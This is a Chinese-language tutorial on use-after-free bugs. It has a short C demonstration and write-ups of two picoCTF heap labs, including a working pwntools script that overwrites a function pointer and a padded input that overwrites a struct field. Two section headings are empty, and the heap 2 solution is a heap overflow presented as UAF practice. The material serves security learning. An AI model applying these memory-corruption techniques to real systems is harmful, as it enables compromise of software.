當記憶體區塊被釋放後,程式仍然使用該已釋放的記憶體。通常由不當的指標操作引起,會導致有未定義行為發生,或成為攻擊者利用的漏洞。
成因:
產生的影響:
舉個例子:
#include <stdio.h>
#include <stdlib.h>
int main() {
int *ptr = (int *)malloc(sizeof(int)); // 分配記憶體
*ptr = 42; // 將數值 42 儲存至記憶體
printf("ptr: %d\n", *ptr); // 印出指標內容
free(ptr); // 釋放記憶體
printf("ptr after free: %d\n", *ptr); // 繼續使用已釋放的記憶體 (UAF)
return 0;
}
ptr
指向一個無效的記憶體位址。使得程式在運行時無法預測指標的行為或指向的數據,導致程式不穩定或存在安全漏洞。
今天我們將利用兩個 Lab 來練習怎麼利用此漏洞
Lab_1 - heap 2
先用 nc
指令進去後,選擇選項 1
,會發現 bico 與目標的 pico 差了 (d2)16 進制 - (b2)16 進制 = (32)10 進制
。
觀察題目附上的程式碼,可以發現 check_win()
會去讀 x
指向的位置
void init() {
printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
fflush(stdout);
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
}
void check_win() { ((void (*)())*(int*)x)(); }
在 Linux 環境下執行 readelf -s chall
,找出 win()
的位置,讓他能夠被讀到
由於提示提到 right endianness,所以我們需要反著看。00 40 11 a0
->a0 11 40 00
。寫個 pwn 的腳本並執行就能拿到 flag
from pwn import *
# 連線
p = remote("mimas.picoctf.net", 60264)
# 選擇選項 2
p.sendline(b"2")
p.recvuntil(b"buffer:")
# 送出我們的 payload
# \xa0\x11\x40\x00 是我們剛剛看過的 win()的位置
p.sendline(b"hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\xa0\x11\x40\x00")
p.recvuntil(b"choice:")
# 選擇選項 4 印出 flag
p.sendline(b"4")
print(p.recvall())
Lab_2 - heap 3
觀察程式碼,使用到 free()
這個漏洞,只要將 x 指向 flag
void free_memory() {
free(x);
}
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
而我們要設法將 flag 的值設程 pico
,可以發現 object
這個結構,在 flag 前需要填充 30 個字元
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
int num_allocs;
object *x;
於是我們輸入 30
,ffffffffffffffffffffffffffffffpico
成功獲得 flag
內文如有錯誤,還請不吝指教~